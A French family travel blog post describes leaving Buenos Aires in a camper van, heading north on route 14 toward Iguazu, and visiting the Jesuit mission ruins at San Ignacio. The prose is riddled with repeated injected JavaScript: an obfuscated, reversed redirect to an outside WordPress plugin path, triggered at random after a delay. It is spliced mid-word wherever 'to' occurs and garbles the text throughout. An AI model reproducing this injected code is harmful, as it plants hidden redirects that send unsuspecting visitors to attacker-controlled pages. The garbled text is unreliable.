Début du voyage, le vrai !

by

Notre « casa rodante » » est fin prête, après quelques jours de nettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toyage, rangements, entretiens chez le garagiste (filtres,  courroies …). Nous passons notre première nuit devant la maison de Sarah et Nathalie (merci les filles pour l’invitation !!!)  Tout le monde est ravi de sa « chambrette ».

Il nous faut d’abord sortir de Buenos Aires et sa banlieue, chose pas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours évidente lorsque le copilote n’a pas un sens de l’orientation très aiguisé….!!!

Puis c’est le grand départ, direction … les chutes d’Iguazu, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout au nord de l’Argentine! Durée de voyage prévue pour les atteindre : 4 jours. Nous empruntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons la très longue route 14. Les paysages qui nous entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourent sont plats avec des prés à perte de vue où broutent bœufs, vaches, veaux, chevaux, et quelques moutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons. On comprend bien ici que culturellement, c’est avant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout les animaux la première source de nourriture, bien avant les fruits et les légumes.  Durant ces premiers jours de voyage, nous découvrons et apprenons avec plaisirs notre nouvelle vie de nomade. Les priorités : carburant et eau potable. Les enfants cherchent leurs marques, pas mal de disputes les deux premiers jours, le temps de s’habituer à cette nouvelle vie et de trouver leurs repères.

Le plus économique et safe est de dormir dans les stations services. Pas très glamour dit comme ça, mais en fait elles sont bien équipées,  en bord de nature, avec douches, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toilettes, eau chaude, gardien, tables extérieures et parfois jeux pour enfants.

Sur les conseils de Cédric et Célia nous passons quelques heures dans la ville balnéaire Concordia, très agréable au bord d’un rio.

Nous poursuivons notre montée vers le nord de l’Argentine. Les paysages changent peu à peu, la terre devient de plus en plus rouge et la température et l’humidité augmentent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout autant. Aujourd’hui, lundi 16/12, nous nous arrêtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons à San Ignacio pour visiter les ruines de l’une des missions Jésuites les mieux conservées d’Amérique du Sud. Le spectacle son et lumière à la nuit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombée est grandiose. Les enfants sont ravis, Clément en plein spectacle m’annonce : « Maman, mais j’apprends plein de choses là ! ».

En quelques mots , la mission San Ignacio Mini fut fondée en 1610 par des Jésuites. Le but était bien-sûr d’évangéliser les indiens Guaranis, mais aussi de protéger ces peuples du système esclavagiste mis en place par les Portugais et les Espagnols. Les Jésuites apprennent le guarani qu’ils reconnaissent comme langue officielle, préservent les coutumes locales et veillent à ce que l’administration soit assurée par les chefs de tribus. En échange les Guaranis qui décident de vivre dans la mission, participent aux taches communes. La mission est autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosuffisante, elle grandit vite, prés de 4000 personnes y vivront. Sous décision du roi d’Espagne, les Jésuites seront expulsés en 1767 signant la fin de la mission.